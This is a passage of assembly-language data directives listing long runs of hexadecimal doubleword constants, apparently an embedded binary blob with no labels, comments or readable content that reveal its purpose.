1204FBA3h, 9601D108h, 7988EAFAh, 7543007Bh, 0AC477F99h dd 0ADF24153h, 64B4D403h, 0FE8502h, 0E1F35C51h, 5A6E4D1Bh dd 906C0A00h, 0BCE346Fh, 899E0073h, 0F4581E30h, 5073CF77h dd 0E9000E90h, 47246D4Bh, 55CF72Fh, 0FAD7F103h, 6BE0AFE2h dd 0EFC903EBh, 9B80A87Dh, 810DA5F0h, 528AA60Eh, 92D0E3B7h dd 9769820h, 0B2FD03A0h, 0FA1EE562h, 0B2BC9631h, 20F44C27h dd 0BA700001h, 0C3B5ED6Bh, 970E326Ah, 408CEE3Eh, 25C0F812h dd 0A1C530BAh, 1628913Ch, 5CBE5001h, 0A2867DFAh, 0EB541883h dd 0F00FB80h, 6C8EEE57h, 0E817Eh, 0E4FE10D5h, 0C0DEB80Bh dd 0BA883Ah, 0DA126BC4h, 0F93D39Ch, 41BED1ACh, 1842EAACh dd 864FAF01h, 7E441D05h, 1D525C4h, 9415B37h, 503A5C6Eh dd 0A66DDF91h, 1379C100h, 2DF3054Bh, 6983005Fh, 0DE869731h dd 5100919Eh, 0A947E05Bh, 0A17DD0h, 28F62E87h, 0C8DA334Bh dd 0EA8C292Fh, 1BB300EAh, 0EACFE9FBh, 0EA001D8h, 3809770h dd 0DAED507Ch, 0E0001871h, 0C51E3412h, 0FBD99B3h, 8A076BA3h dd 6C8863E0h, 9C00AA1Ch, 0D617E95Ch, 7FBFDBB6h, 0FAE2E066h dd 0FD790Fh, 96CEEAC5h, 9DD5E9C8h, 0B2F2030Bh, 3BE05F07h dd 0B61291A3h, 49040F79h, 0A74B717Eh, 77E26475h, 97350032h dd 0A44FA02h, 0A71FDF38h, 9A80B30Ch, 8E2C6F17h, 0C62ECB0h dd 0DEAC53D0h, 0C1002AC8h, 5E6D0868h, 0BEFA76h, 0DFBAD4E6h dd 6199B590h, 0D902C67Eh, 0B3309208h, 8A80A0CCh, 1F50F21h dd 3AACFC1Ch, 0C8C66E59h, 0E806FA71h, 1F8B7522h, 2F0E3C2Ah dd 97F000F3h, 9BB5915Fh, 0D576AC63h, 22DFE101h, 52C53A62h dd 4412D142h, 0AE3B5BB9h, 762D0330h, 78E7019Fh, 0CFEE829Ch dd 219ECCC0h, 0A691EB00h, 840A913h, 455D0E3Ah, 5793F5h dd 0C22DC866h, 24C9923Dh, 0B90999h, 0B9F10980h, 0B0B53D27h dd 67978FDh, 0E9948D9Fh, 1B002CFEh, 0FADEC98h, 41636h dd 61F50DEAh, 46236E4Bh, 85D52E04h, 0F38809E7h, 20580070h dd 0F26D19E2h, 0AD1EFD15h, 0D780683Bh, 8799B7EBh, 718E0365h dd 66D87731h, 8F12F186h, 1900424Dh, 2E81A27Eh, 98290036h dd 7F91EA8Eh, 7A3524A1h, 8E0498D5h, 0B883FD5Fh, 0B8125029h dd 0E7164CDCh, 0B4CCA980h, 4C30EA7Ch, 7385946Eh, 2D64F259h dd 11D5EE2Ch, 88D99EBFh, 0D5378E83h, 54FEA358h, 0B4C62F04h dd 0C1FD4115h, 0B52CAA5Bh, 495C0F8Ah, 58C3A3D8h, 2BB11079h dd 9442DC54h, 0D78F5602h, 602A06A4h, 1CB6DB03h, 8446A8F8h dd 0D0A27FCCh, 8B265E5Ah, 1B807900h, 37EBBD95h, 6C3A26CEh dd 0BAFB45D8h, 9C00B5B7h, 0D00822FEh, 44002335h, 0F8D5A3DBh dd 4C364CE0h, 5C381659h, 0BB2EBAB7h, 0FC3EE675h, 5E2035Dh dd 553A59EDh, 0B0A7979Fh, 801132Dh, 4FB24801h, 54A91B14h dd 96D09FCDh, 0F6D516E7h, 1C01FA8Dh, 8F701FE4h, 315BBBFCh dd 0B50F19DEh, 0C70B204Ch, 9AD2EA00h, 0DC580CE3h, 0ABFB00B3h dd 6679722Eh, 0D73B401Ch, 39DCE343h, 99E9995Eh, 0B654C549h dd 0FFBBC545h, 0C0CDCF92h, 9D76C7h, 9A77457Dh, 56AF4A82h dd 0B0009598h, 1127BBD3h, 70BE934h, 75CEE4C2h, 4737401Ch dd 741529A3h, 2D97F7D2h, 7C10D7FBh, 5B5F0B88h, 101C68C0h dd 1E5900E5h, 2036CA23h, 94EA2443h, 0EC250B00h, 8E442D34h dd 9939017Dh, 0E1AFE740h, 0C562D002h, 0C700BCF4h, 937B2965h dd 66CA2Ah, 449AFA04h, 0C6E5714Ch, 366EC700h, 81FCA87Fh dd 0F88C2AA4h, 2FB527C9h, 17C05C2Eh, 64BE1E3Eh, 6E03D9E0h dd 390E20F2h, 0B2BAE58Dh, 0A96EBDE7h, 283C8C8h, 31241C33h dd 0B75C0D0Ch, 0CE5CDE56h, 0E5825508h, 2CA7C581h, 2C8763EDh dd 93C273Ah, 7E5ABA52h, 0D38B3C63h, 6175148Bh, 3CDD54EAh dd 89560740h, 7C77E4DEh, 0C345008h, 5F0CCDFFh, 7C5BF70Fh dd 9A5129ABh, 602C870Ch, 6F7B4Dh, 0E03EFFFBh, 2B8FE86h dd 75860E6Bh, 5B89EC40h, 605E2000h, 48575D54h, 770D4811h dd 1CF1Eh, 56BD3724h, 0D1727B5Eh, 4D891A00h, 0DE21667Eh dd 2E850E1Bh, 0B3A52FF8h, 0AD918004h, 0D5003345h, 0A129143Bh dd 68CC39h, 340F87FBh, 4492400Ah, 0CE381770h, 7B3B8325h dd 9855DD4Bh, 39BA0A60h, 2E003739h, 6E2A5FBEh, 0E10231B7h dd 2B7BFC96h, 0E5BC6017h, 74B83Fh, 1FD1AB63h, 61DFA123h dd 0A62AE81Ch, 0C5778600h, 23D3678h, 504B566Ch, 7B7D7446h dd 0C31D515Bh, 190A2084h, 16D100A5h, 0CE5C9941h, 0DD278A8Fh dd 0FCD31250h, 4C50493Eh, 0DC0796h, 66EDABF3h, 0D5898E96h dd 8B9B6A4Fh, 0DFC278C0h, 6A5FE56Eh, 94F01DB6h, 47047A0Ch dd 896E7BE3h, 272041A8h, 1117AB80h, 9F9E94Bh, 26045CBCh dd 105BD23h, 894FA016h, 0D59C857Fh, 60FB5012h, 0EF19D58h dd 4905F80h, 8FC1BDBBh, 0EA1AE2Fh, 80E3DB7Bh, 0C9DABD09h dd 0E53F1611h, 987EE0F9h, 54508F69h, 0C40A37F0h, 0EF1785BFh dd 21E0FFD9h, 70622378h, 0D7C6291Ah, 0E6D13725h, 5E29E016h dd 7D920805h, 851C7E3Ch, 0DF801620h, 8EE7A2CAh, 4D2F1C97h dd 0B63E0B3h, 290BA1F3h, 0DC1DEE89h, 0A32F169Bh, 0A86A5AE6h dd 98F5CB25h, 5A76CF1Eh, 0BC62AF50h, 0AA9C4BFBh, 0A7F2D3DAh dd 2DD4207Eh, 9590CA85h, 0F90025FBh, 8B7871A5h, 4BC507h dd 0D774168Ah, 0B7E95F55h, 0A68B0C5Ah, 0AD712124h, 0D415FD8h dd 0BDFEAE92h, 2D6FB8E8h, 0C946F9D5h, 3C88904Eh, 0D3A600EBh dd 983BF21h, 94000A66h, 456B725Fh, 12A2EC65h, 0B027C9D8h dd 0BD2D8D35h, 0CB18772Fh, 34020C6Eh, 27C6862h, 1F657D06h dd 0CFB5AFh, 0E326C949h, 0A0241AC8h, 2D13459Ah, 3222CEBh dd 9F10709Dh, 9531C1B8h, 0F923D125h, 2D6305FFh, 9E81FFC1h dd 78691D49h, 0FC1E3516h, 2CE3A2B3h, 164F6922h, 0F5F323EEh dd 888E71BAh, 0E45F0A2Bh, 1BC85426h, 3F2D41D5h, 0BF25714h dd 51D35DF3h, 0EAF51756h, 516B4F27h, 0BFFA002Fh, 4EC85D85h dd 4ECD2B73h, 0D1FDA7C1h, 5E355930h, 5E7FE624h, 6BD600BAh dd 0F93CCB8h, 0BC8FF900h, 42980DC3h, 0AD490AF1h, 639D76E9h dd 57143311h, 614B0185h, 5BA8EFACh, 95D4F42Bh, 0A024BD21h dd 1BE525C8h, 6B68D47Eh, 2525572Fh, 0CC0AA8F8h, 0B518B609h dd 122F0431h, 0CB00D4F9h, 60C41A7Dh, 0AB7CD2h, 88E40604h dd 5B0A39AAh, 645B98D0h, 6641044Ch, 6AD06CBBh, 8A370960h dd 41CD95E8h, 0C44BAAEFh, 82F22112h, 8516293Ch, 0D8B9FD0Fh dd 80330128h, 0F4F6EB9h dd 0F280829Eh, 0D0ADED90h, 12031905h, 0DEA8EF2Ch, 0F938A080h dd 221C6E32h, 33429BC3h, 7E9E4E8Ah, 0DECB24EDh, 0C61F3573h dd 97801D61h, 84EF80DCh, 0DC01BEFCh, 0AA058778h, 0B5898C29h dd 72BA888h, 8644BBC0h, 7513B11h, 7D442Dh, 4CB0E651h, 39CC9EF9h dd 0B4FFD41Eh, 535FFC8Bh, 4F104414h, 0C72603C1h, 9F17D80Dh dd 4BAE0174h, 0D6B88545h, 656E2E80h, 34041C3Fh, 0BB810FFAh dd 8600CBA7h, 89DBD190h, 8A00A758h, 0E2C4542Ah, 95610727h dd 0EBF8A1FBh, 83B30034h, 0F164AF9Dh, 8977E9DBh, 3B237524h dd 12AE6544h, 0C49ABFB0h, 3EF692h, 0D94750A4h, 17290383h dd 0A906918Dh, 26B8D316h, 0B874F84Ah, 33DE04BFh, 0BF2509BDh dd 8879E838h, 77999529h, 16EDBD97h, 0A5D1B825h, 8B496740h dd 52F302A6h, 578DB984h, 33413340h, 0DA6F5F81h, 0C01AC8F1h dd 532820BAh, 0CDA45216h, 0FFA731BBh, 53A62AE1h, 415F15E2h dd 0F32B1CB8h, 4358458h, 81A2DEAFh, 8C7BA9D0h, 0B97F882Ah dd 3AC46C00h, 98E737E8h, 8D4B5F3Ch, 65293F43h, 0D64F7DCAh dd 0DA736460h, 3FDB02AFh, 0C99D8D4Fh, 4EDFB9E2h, 2AB52D6Bh dd 991A9247h, 0B8377773h, 0ADB26112h, 9DA5628h, 8E0F3827h dd 0BF500D56h, 25630967h, 42580D91h, 235B0209h, 4B6B5E9Dh dd 0AEC20CEDh, 2FC1D4CAh, 0C6709FD6h, 5DD81616h, 419BA1CEh dd 6A2569E7h, 2E549B32h, 0AE398565h, 2ABA1012h, 0B99B8075h dd 3201D86Ah, 13DA4C22h, 0E7958420h, 0FA6300C6h, 308B73C3h dd 77274FC9h, 4989F42Dh, 428B418h, 0C641AD00h, 0C1BAF195h dd 0A42002E6h, 76CC2D5Bh, 0BB543075h, 38D3139Dh, 201DF941h dd 9DDEE8FAh, 0AAAD4C44h, 0FC838EE5h, 4FA2EC38h, 224C8300h dd 20C07429h, 6AB8FE17h, 9FBC62BDh, 63658200h, 9F69EA3h dd 31D9A913h, 0EB7DD8Fh, 0C03D127Eh, 0DCBE6824h, 0BFEB4D00h dd 277E3056h, 41E0CE81h, 6014D1A0h, 0B5188BF9h, 61323235h dd 7A3009BFh, 0E6F32E53h, 20181559h, 0CC8D035Ah, 9709BE58h dd 0E907A2F1h, 0DB09016Ch, 7D6A7830h, 77128405h, 0B6A82D96h dd 0CD60BED2h, 2DC3F6EFh, 0FED453F4h, 0F61A56D6h, 6089D303h dd 5EF2DE48h, 0DF25AAD4h, 877EB93Ah, 41B80369h, 60D1216h dd 23A36EF5h, 8083001Ah, 0EB6B18FEh, 9EBBC202h, 7D4B7C52h dd 969F1602h, 0E117260h, 44677C3h, 1D85C901h, 696F886Ah dd 0FF99B4Eh, 72195CECh, 56CC4BAh, 0F92DCD63h, 9511534Ch dd 72042ED9h, 431E3E73h, 0BC21708Dh, 2FA57AC1h, 0D7A2E22Bh dd 0BDA032A6h, 25B0C168h, 50DFB700h, 0FD4DBA60h, 1D435DB8h dd 0FCD4F84Bh, 0FF0E8C15h, 0CC9D311Fh, 481B226h, 165439EBh dd 0F99F9861h, 0F1A126F1h, 0F82ED2D7h, 7BBE9730h, 28D85AACh dd 66214F2h, 3917DA3Ah, 8B58F816h, 0C4775114h, 0BF664011h dd 61E9CDFDh, 31501323h, 0AA927FB5h, 89B5DF5Fh, 0D51819F1h dd 0EE5CB905h, 25A89CDAh, 4F4FD0A3h, 0A242DFECh, 1203C0C4h dd 0EEED56AFh, 7D00127Bh, 0B4887ECEh, 0FD9E8389h, 0D86C140h dd 79E4003Dh, 8D9D6915h, 0D4122D73h, 0D8BFA5C3h, 1AB55B40h dd 0D8EE0228h, 554E7D3Ah, 0C9088121h, 0D470F6h, 0E3BBAFBAh dd 9116E14Fh, 39266F90h, 3624704h, 0C544290Bh, 0A777F90Fh dd 225D40B3h, 644784D0h, 0EDDFA81Dh, 92509B49h, 76C5570Eh dd 13BCD91Fh, 0FEF725F1h, 0EFDD3464h, 6BBE1117h, 0CD984F4Eh dd 0E47E0412h, 0C52E4980h, 0DB29BB33h, 80D3DA2Eh, 7AA7485Fh dd 0B888FC40h, 6DB0945Ah, 3F27DDD8h, 9F22DE26h, 0A5DCB70Ch dd 8FF21C4Bh, 0A8A6FDD6h, 6A7F00A1h, 0B2F9B8EEh, 0F662409Ch dd 5A213D62h, 55D2797h, 0D09F94EEh, 6D14416Fh, 486F4E2Fh dd 0C4158200h, 0FF2D348Dh, 0EA36D71Dh, 167FB516h, 2FC9D005h dd 0B904BB23h, 6BAFCFB6h, 71B2361h, 500EEC71h, 0AC3BB11Fh dd 3031D4A0h, 4BF9680h, 2A9F104Eh, 873EFC50h, 0DFA9FF25h dd 0E53BFC6Ch, 0CD962DB3h, 9F8EC122h, 466B6E25h, 66001D23h dd 0BFFE91A4h, 68E30F86h, 0C95DCC77h, 0D4F91BC1h, 0C0CBCDADh dd 0A4E51292h, 0F8F38E5Bh, 22D88A4Fh, 0C27BB26h, 962779BDh dd 0A540BF94h, 1FF8680Eh, 0D378C43Ah, 0D24EF9CAh, 8E5B11EEh dd 93CCBF92h, 74A0848Dh, 0F9BD0959h, 0BFFB6B85h, 9CC40250h dd 18E50941h, 8A50D47Eh, 60528804h, 0CBF97C95h, 0BD336C98h dd 0F130112Dh, 2777C6B7h, 0FDE9CA8Dh, 80542804h, 20F5BD44h dd 69B2F9BDh, 67414C6Dh, 59E8BBE1h, 0FE6B4A3Dh, 0DCAA4825h dd 53004BB0h, 666C3767h, 521ACB9h, 0BD016061h, 819C40E1h dd 692833D3h, 899F177Eh, 6086F1A3h, 0D318D29h, 82F43388h dd 840CF1D7h, 1A2301BDh, 0E568FD2Eh, 0CDB7C18Bh, 0C249E3EBh dd 0CBFFDBF0h, 7E5C5327h, 0E2DFCBBFh, 40455826h, 0AB40B5CAh dd 0C82FF761h, 1D0073D2h, 4C9C5ECEh, 989985h, 427D702Eh dd 0B11E0224h, 0C190E42Dh, 7C091F48h, 0D5022FA0h, 0C880DC3Dh dd 0DB36965Eh, 0CB49A994h, 0A1ECB1F7h, 0B9EC5EC9h, 2AB40013h dd 0EAB696DEh, 10B143Eh, 100F6995h, 4B1F3C3Fh, 502A4E9h dd 2DC0DB6h, 7252E92Eh, 0A141D780h, 90E39391h, 4880F4A8h dd 0DD93BABBh, 0DE9B5809h, 90F90550h, 0DDCEFBDBh, 0C1F97901h dd 0D8096C2Bh, 62EB804Eh, 23B30A54h, 9C6C9556h, 0F2094B15h dd 6AAED2A7h, 0F6200088h, 56B0702Bh, 0CF8003F9h, 8AD1FFCCh dd 0A28BACBCh, 60021131h, 70B9413Ch, 0BF51BD0Ch, 33BF0450h dd 0AD347B9Fh, 25287F45h, 4D4A5F0Ah, 0EBA52EF8h, 1EB3FC8Ch dd 0A511E985h, 46952565h, 9D890EF7h, 762BD4F9h, 5F9224Ah dd 29E381C0h, 5C2746A6h, 833D5550h, 5CAEFF07h, 1506E751h dd 8E26207Bh, 9909A73Dh, 0DFF503CAh, 16119337h, 2C4B2782h dd 0E924B670h, 4D097744h, 4012591Ah, 777622BBh, 10E6315Bh dd 86418D15h, 0E0CAF84Eh, 5E5F90h, 0C02D263h, 0FF6A5308h dd 1BA938CBh, 841EBA1Bh, 0C4520322h, 8529A970h, 9D8A0142h dd 30D7810Eh, 8B359220h, 2FE1B0DAh, 0F699088h, 2D9145CFh dd 6C799A0h, 4D1316F5h, 910D70E6h, 71C9EFB5h, 2621097Bh dd 9984759h, 12FABB73h, 41BF014h, 0EB29DD31h, 0B112ACB3h dd 8FA3F92Bh, 0B9F87203h, 5152A492h, 3D442690h, 5990955Bh dd 817360DFh, 53A4A116h, 951095B8h, 2B61020Fh, 270DE8C8h dd 0DE74C0D8h, 4700C9B8h, 627B5788h, 1BF1035h, 1BB13DADh dd 2ED18B5Fh, 0FD6B7489h, 28AA9614h, 0BB066653h, 8EE9DD25h dd 9CE99535h, 1CE66285h, 0ED729D31h, 286E56FCh, 0A8C31A20h dd 0AA841042h, 2169ADFAh, 0C1128h, 9DC027E5h, 1BC489Eh dd 0BF6CBA4Ah, 3A53E924h, 0FD94D2A2h, 4C2D7510h, 62D12F2Dh dd 0CF8B5462h, 72144D84h, 16CF282Ch, 0A90FC409h, 5CBF8090h dd 0BC745770h, 32D84065h, 0FF0387F7h, 0DC1D4981h, 8084425Ch dd 0A588984Ah, 5F319940h, 6E09AE95h, 594DF56Ah, 609F23C0h dd 0B7BD120Eh, 0EFDAEE22h, 0DD527196h, 0D2F16AE0h, 0B929D06Fh dd 0F3950FB5h, 7EF8D010h, 0B589721Ch, 76A794A4h, 0B925F65Ah dd 5F9950C5h, 80749BFCh, 4CA6FA1Ch, 43874817h, 6BC1CB07h dd 0BD7709B8h, 335D8FD8h, 0E4B04EC1h, 8DAD7E31h, 0DBD22B16h dd 3A4980B6h, 26A4CCBBh, 934B757h, 0CF770141h, 0D6742C57h dd 3104FE78h, 0F8629DBCh, 1516EFEh, 133D22D8h, 0C23A3FF8h dd 14DF0610h, 0BACD959Bh, 0C287BF44h, 91629F0h, 5EE96273h dd 23071AA1h dd 5DA19964h, 80A5B32Fh, 8D13E011h, 0AFCCB799h, 0F516F37Ah dd 2EBF08E8h, 0C0CDD58Dh, 0A8FCD598h, 8B0F12A1h, 0B4E715h dd 3038F183h, 5420A7Ch, 0F9C61DFBh, 5FA3A040h, 7C01EACBh dd 6E6A79C3h, 61C05F9Eh, 0B3C6B65Ah, 0C21A7E9Dh, 0B1655h dd 0D22EC54Dh, 0E69A9559h, 7DF22DC6h, 501DFF7Ch, 0E15230A0h dd 0C09717DBh, 199D2363h, 0CCCE1E4Ah, 294FB822h, 0E2308D89h dd 7A4C12ABh, 88A4B24Eh, 5443A7BAh, 0E377ACDCh, 0BA274F71h dd 0E5BD8B33h, 7F601FD2h, 542F49B7h, 4342A523h, 0B8F7B77Fh dd 0BFCE6A4h, 22481B1Dh, 0E14E80FAh, 25826EFFh, 9B70696Eh dd 0AC8E6417h, 9200A791h, 0BDA8DBAAh, 950419FBh, 2C292349h dd 52548064h, 0F3864Fh, 9B2C3EB2h, 57E11EF2h, 0D8C8904Bh dd 0BD95007Ah, 1850CF4Eh, 3F038CFDh, 2F08F8F6h, 8FAAD528h dd 40EE58B2h, 0BF046006h, 6AB0EE6Eh, 0B5616CF0h, 0E1D822DBh dd 0E0355B3Fh, 0E641FECDh, 0CEE7827Ah, 0A640BB56h, 0E663103h dd 46C19AA2h, 277779A0h, 58009D82h, 0AC68615Bh, 0F0AB40Fh dd 753343BBh, 53F7C077h, 2FF9AB0Ch, 7E82D49Bh, 0A22E07E8h dd 5D1B358Fh, 0AF0BC18Bh, 5F548DFAh, 7301C813h, 3A6F5B7Eh dd 5FD6FC61h, 1B913DB5h, 292A3180h, 0DE02F90Ch, 0D98B17EBh dd 8E71E8h, 6479B583h, 0B400E20Bh, 0CF44413Bh, 1523A76h dd 2B61E4E5h, 8204319Dh, 0D7BF66AFh, 5538E2E9h, 0E5C0886Fh dd 1B31A0Dh, 5FBBFB29h, 717DB9B7h, 46DB28D2h, 3436B02Bh dd 0E0F3011Ch, 0E9B50925h, 39E73B03h, 1B63205Ah, 509AB0Bh dd 0FD99D95Dh, 2995B746h, 0D0AE73BEh, 8D2789FBh, 0B5086829h dd 25FB95A1h, 4E3DFFD8h, 922BF98Bh, 258DC304h, 0C8C28FAFh dd 5166C01Ah, 0BF130C27h, 0C9FF5484h, 918D6074h, 0A7DD094Bh dd 6F35FED9h, 9BD7162Ah, 58B980D5h, 63ED737h, 0FEB3217Fh dd 0D12FD269h, 633F2204h, 0F54442BDh, 0B20A33C1h, 2004A441h dd 7A78BB66h, 8BB6964Eh, 145A4FE0h, 25925D02h, 61BD3C6Ah dd 5DC2F99Ch, 352633FBh, 302D2108h, 68853976h, 7077F609h dd 3064B2h, 2DD88652h, 3A9F5D9Bh, 0DBADB15Bh, 0AE8C0901h dd 21BD314Dh, 4E3038AEh, 1CA20AA6h, 8E1130h, 7E618912h dd 90358639h, 388D0F11h, 0FB53CC48h, 72424B00h, 0A99ABA10h dd 986CED00h, 9654CCCBh, 0A1043A9Ch, 18FF5BA5h, 36EB5Fh dd 296570A6h, 9A8C4255h, 0F004690h, 482BEE6Fh, 97B6ADA3h dd 9016ACD6h, 98FD34ABh, 0CEB45364h, 10C09D45h, 7D573Ah dd 1CDCDDEFh, 22B05C1Bh, 106CA500h, 0A7BB5FD4h, 9B812ADh dd 0E0BDF661h, 0F3F0621h, 178F5A80h, 0CDBFAC36h, 8F2FB6B3h dd 20E510ABh, 89202CF2h, 0BD332DB5h, 7B6BA7D4h, 853700Dh dd 7D362009h, 0DD4F71F9h, 40C5CD25h, 0D79868AEh, 2717D897h dd 0AFF671BCh, 0FC162E3Fh, 5F18571h, 14CDF7C2h, 14460FE0h dd 2F9604F9h, 0A803B236h, 7FD314A0h, 4E0B1EDh, 9CE82C39h dd 9208633Ah, 0E163D3Bh, 0F2CB85EAh, 1309A8FEh, 0FCEC9DEEh dd 3FFD4EBBh, 8FB3D2h, 5C86EB81h, 250F11BBh, 95CC2F32h dd 6ABFDE4Bh, 0CD984B0Ah, 56CE1285h, 0A253BEFFh, 0AC0435FAh dd 220580B6h, 36C528h, 96BDAD08h, 0D1CF358Bh, 53F69801h dd 504C45E0h, 0E94F8373h, 4AB38118h, 0C179965Bh, 0C2044BB8h dd 0A5F1C40h, 0A02E8AEEh, 1454F67h, 0CAAF6311h, 3FE17E59h dd 89030820h, 12A73D30h, 0F734DF07h, 310930C9h, 7B09B38Ch dd 8B6C5E9Eh, 0AFE2559Ah, 5BE03ADFh, 0EAF35359h, 0A3E08492h dd 134BD18Dh, 243F6EBFh, 0E1C7621Ch, 2EDB2020h, 0D7961611h dd 422AEA17h, 0E900D491h, 0D381B6D8h, 8B2F25F0h, 8C10F568h dd 6012AAC9h, 46F185A3h, 38EC4539h, 6846DB0Eh, 552202E0h dd 22987F0Dh, 6300C381h, 294BAEBEh, 9E02D9B5h, 9224EC4Bh dd 337FBD12h, 93458F1h, 8E7E951Dh, 2D68668h, 0B61883C0h dd 0ED57AFB4h, 65196415h, 0F1D67FF8h, 6A352E8Bh, 9706A8A0h dd 3F63CF6h, 825E1C31h, 29CA60EEh, 141D91E0h, 0E4956DBDh dd 0D5B56214h, 0F7DD0CC3h, 0BF6604E3h, 0BAE8BAB4h, 5FCDCB11h dd 7734E6Eh, 0EF3FBBEBh, 0ACA18E8Fh, 0AF392B48h, 0FCEDDCC2h dd 90C49217h, 0C9C035ACh, 95474C76h, 0F16F781Dh, 0F58A4880h dd 566EEE2h, 59E01FBEh, 19128250h, 0D461092Fh, 1746D625h dd 329A3D00h, 159529B1h, 0F8120E96h, 598B51F2h, 0C9D849FBh dd 4A9B0264h, 885D1A2Fh, 0DF301A77h, 0A1CBA04h, 4000DD96h dd 0B3605028h, 202AE782h, 52ECF51Dh, 34A9702h, 0FF169075h dd 96E2E64Ch, 80181895h, 0B2054EC3h, 176A85Eh, 0AC741532h dd 31BDA3D8h, 97532ECCh, 85E886F9h, 28940A97h, 1D46DCh dd 0B94945B7h, 3B99E6D8h, 0BF4B25BBh, 4E59A66Ah, 9C0B6EC0h dd 0F4027F6Bh, 0A0BC88BBh, 51C75E01h, 3CA72F50h, 82890CB2h dd 2754BF71h, 0BF56D2F6h, 814B1210h, 0E99D2B9Ah, 6CF32B14h dd 0D13DBFC0h, 0E90E531Dh, 32FFF1B9h, 47B41BABh, 24A9522Fh dd 31C1C142h, 249CE36Dh, 0B0DF25CDh, 0A1830FADh, 923F902Eh dd 86C6CD25h, 23AEC1B5h, 3F66Eh, 0D505F32Fh, 3B2C61A7h dd 0A838DC64h, 0F5E81A12h, 671C297Ah, 0E9153070h, 5EAB6FEAh dd 6AE70BEFh, 70495B00h, 8B977A0Bh, 701B535Fh, 23089ED8h dd 131C4D9Dh, 8ED2EB89h, 0B8C86890h, 4C0FEC22h, 0A292878Eh dd 0D4820F45h, 8572010Eh, 0DC89CAFh, 384024Ch, 71EF014Fh dd 61FF10DDh, 0F2BE00B3h, 0D1E09FA3h, 1460E94Bh, 3236AF1Dh dd 0DAAE00D5h, 6B20F3DCh, 91706E13h, 0B745AD00h, 5FB0370Bh dd 7D53B56Ah, 48A63978h, 19120101h, 1299F205h, 0DAAF50D7h dd 0E7093CBh, 0B679CACFh, 212340A7h, 0E50011EFh, 9D6ACCE1h dd 12EBA4F0h, 0F314DC55h, 0F0205AC1h, 25DE782Eh, 0B75FE854h dd 0DFEA7B9h, 2595FC4Bh, 5E11C7C5h, 1D11824Bh, 0EF84DF0Bh dd 26A0426h, 690904B8h, 0DB4490A1h, 0C0219A00h, 9F494357h dd 0B51904BBh, 0FB5F236Ah, 0D3900E82h, 66FE704Dh, 55542104h dd 0F0BDF1CFh, 68F68D89h, 0E91630CFh, 0E1BFFC82h, 5FFE303Ah dd 0EAE35B6Dh, 0C968167Dh, 0D3A2FD22h, 6D388DAFh, 82F0003Eh dd 341FAEC0h, 0F66000B7h, 0AB64196Bh, 314BA8ECh, 0AE7535AAh dd 1839C8h, 0D61F80EAh, 46B24BADh, 0FCA8910Eh, 0AF0F30Dh dd 89584AD1h, 20406E4Ch, 9F4E8DE6h, 7CAF05E5h, 0FAB6B29Bh dd 9D3A05A2h, 0FAF925ADh, 0B1BD0140h, 0CC7C9F27h, 0DC4F0B52h dd 3AE3E004h, 5900BB3Dh, 0A54284ADh, 0B5946ECCh, 5495F9h dd 250FEFBFh, 0E7B35885h, 8B020404h, 83F86AD8h, 9529BF4Bh dd 2202083Ah, 0D791B58Eh, 0A901A07Bh, 0B7E235E4h, 4D623ACCh dd 9702C19h, 0B4B01640h, 154D0802h, 0F9BF0F01h, 9F3170E6h dd 3DE89CF7h, 39D2D889h, 2F5DF451h, 694210F9h, 0AD9D8909h dd 58ECC4F7h, 0CD3DA960h, 0CE99D84Ah, 130CDB02h, 99BA6139h dd 6F61FE89h, 413D5630h, 4E172F16h, 971C9981h, 314CF22Bh dd 2DF17057h, 31435B02h, 0E499123Fh, 514D9C6Fh, 31C932ECh dd 4C44945Fh, 0BD0BB0C7h, 42064FD5h, 29E2DF42h, 0F3401F74h dd 0DBF5460h, 79059557h, 0CB01C21Ah, 483A0208h, 0A5A01B27h dd 4BE9FA26h, 0E1371849h, 67BC0013h, 9938F16h, 18516D9Dh dd 1A242F49h, 7A0044E2h, 1279DBE1h, 0AD00E21Ah, 3BC0955Fh dd 9146ACDh, 53E3DF2Dh, 24142CD1h, 2D93DCC4h, 0EF902CA2h dd 896F914Eh, 2834995h dd 0E57745E9h, 0A95A8464h, 5A9BBEE8h, 425039C1h, 809F6C57h dd 1E419516h, 20530036h, 0A2994F8Bh, 93030283h, 97A71BE5h dd 0EF6E5E5Bh, 0FC00CB39h, 88185DB5h, 53B2A5B9h, 0FA8B5632h dd 75F090Dh, 5419FCD5h, 801ADEE3h, 0FD7098EFh, 2E572B8Dh dd 1723E26Ah, 8321EF02h, 0BBE68Bh, 0F5913D68h, 81096447h dd 2083338h, 2BAAEABAh, 25F8F6D2h, 35A5C8CDh, 34130F26h dd 0E063803Ch, 76B7FF75h, 0DC45BEh, 0C4A54AE9h, 683D291Dh dd 0C8212FF7h, 0F63B5AB3h, 90854B4Ch, 80ED9EFFh, 71BDD6AFh dd 88E01E60h, 40F5FF6h, 0FA5BDA8Ah, 258019CCh, 0BCE513CBh dd 5B5E506Bh, 0A095B714h, 25308A15h, 0A1E5D1BEh, 0E04B6111h dd 774B7D03h, 4E573FBFh, 992EC460h, 2FCF12F3h, 606BBF49h dd 97001A23h, 0F5D0F9B6h, 23F30B30h, 0A2A2DDBDh, 0C240E1FFh dd 9C972679h, 2EAB4598h, 0BADE8C29h, 1F865C0Dh, 36BD6F76h dd 23A0D900h, 0CB01D597h, 0AB911A5Ah, 1FDC2B16h, 49060093h dd 0F7E0D5E4h, 3AE7FD25h, 5B85E3A8h, 1C6EEB60h, 12ACC600h dd 5054464Fh, 1D2B172Ch, 78557889h, 7AB79FC6h, 0C4EE3E00h dd 0B555BF66h, 71B7C0F0h, 0F9D68011h, 0F6C979B0h, 31C1120Eh dd 7624D38Dh, 0E025B9B9h, 7383DDFh, 20B582CFh, 0FC6A6593h dd 12AE7750h, 0E1636089h, 0B063500h, 890F0A74h, 6EBE15E1h dd 1923F8h, 0A5D3EA1Dh, 84BD22B3h, 6E9027Ah, 80F2DBD2h dd 0C20EBBFCh, 902F3B8Eh, 20C14303h, 518A5061h, 5F9CE279h dd 516F9053h, 94772000h, 4C7DE24Ah, 5CBF1412h, 644D0F01h dd 0DE7B63F9h, 52BE9339h, 85F2A0h, 5A293D1h, 2449B2Eh dd 52E7A109h, 0F17598B0h, 0E60B4B00h, 0E38088D1h, 0B81A7075h dd 7BD40045h, 3A2B10C9h, 8B695835h, 1E625483h, 51862865h dd 0ED60515Fh, 11E828DFh, 0A2BE0026h, 2CA78A82h, 0EB00C332h dd 58D5CC7Ah, 0B9090F23h, 972F8002h, 6BC56701h, 16078600h dd 0B7A50F6Fh, 0D75E3BEBh, 61581D0Eh, 0C46EBF57h, 1C955300h dd 62483482h, 76BBB417h, 1F58A04h, 